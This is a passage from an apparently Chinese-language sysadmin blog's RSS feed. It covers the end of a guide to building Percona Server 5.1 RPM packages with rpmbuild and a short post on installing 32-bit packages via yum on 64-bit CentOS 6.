            --with-client-ldflags=-all-static \<br />
            --without-ndb-debug \<br />
%if %{YASSL_BUILD}</p>
<p>保存退出</p>
<p>6、定义在打包过程中不进行测试<br />
export MYSQL_RPMBUILD_TEST="no"</p>
<p>7、开始打包<br />
cd /root/rpmbuild/SPECS/<br />
rpmbuild -bb percona-server.spec<br />
等待一段时间就可以看到编译好的软件包<br />
/root/rpmbuild/RPMS/x86_64</p>
<p>Percona-Server-client-51-5.1.58-rel12.9.rhel6.x86_64.rpm<br />
Percona-Server-devel-51-5.1.58-rel12.9.rhel6.x86_64.rpm<br />
Percona-Server-server-51-5.1.58-rel12.9.rhel6.x86_64.rpm<br />
Percona-Server-shared-51-5.1.58-rel12.9.rhel6.x86_64.rpm<br />
Percona-Server-test-51-5.1.58-rel12.9.rhel6.x86_64.rpm</p>
<p>7、安装顺序<br />
先安装这个<br />
Percona-Server-shared-51-5.1.58-rel12.9.rhel6.x86_64.rpm<br />
再安装其他软件包<br />
8、已知问题：<br />
无法打包为一个包<br />
无法将所有问题安装到一个目录，例如我们之前一直安装的目录/usr/local/mysql</p>
<p>9、题外话<br />
一般MySQL源代码包都有包含打包所需要的spec文件，一般存放在support-files/下</p>
]]></content:encoded>
			<wfw:commentRss>http://www.187299.com/archives/1822/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>64位CentOS6通过yum安装32位软件</title>
		<link>http://www.187299.com/archives/1819</link>
		<comments>http://www.187299.com/archives/1819#comments</comments>
		<pubDate>Wed, 19 Oct 2011 01:14:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[CentOS6]]></category>

		<guid isPermaLink="false">http://www.187299.com/?p=1819</guid>
		<description><![CDATA[64位CentOS 6 通过yum安装软件的时候，默认不会安装32位的软件，这样会导致某些软件无法安装成功，实际上yum仓库里是有32位软件的，只是它默认只安装64位软件，如果需要安装32位，有2个方法，... ]]></description>
			<content:encoded><![CDATA[<p>64位CentOS 6 通过yum安装软件的时候，默认不会安装32位的软件，这样会导致某些软件无法安装成功，实际上yum仓库里是有32位软件的，只是它默认只安装64位软件，如果需要安装32位，有2个方法，<br />
假设你要安装libjpeg的32位版本</p>
<p>方法1：<br />
先查询<br />
yum list |grep libjpeg<br />
指定安装32位版<br />
yum install libjpeg.i686</p>
<p>方法2：<br />
这是一种一劳永逸的方法<br />
echo 'multilib_policy=all' &gt;&gt; /etc/yum.conf<br />
以下命令会同时安装32位和64位版<br />
yum install libjpeg </p>
<p>参考资料：<a href="http://grokbase.com/t/centos.org/centos/2011/07/centos-centos6-installing-32bit-and-64bit-rpms-via-the-installer/133tcfqf5pag5uldm62ygv34psia">http://grokbase.com/t/centos.org/centos/2011/07/centos-centos6-installing-32bit-and-64bit-rpms-via-the-installer/133tcfqf5pag5uldm62ygv34psia</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.187299.com/archives/1819/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

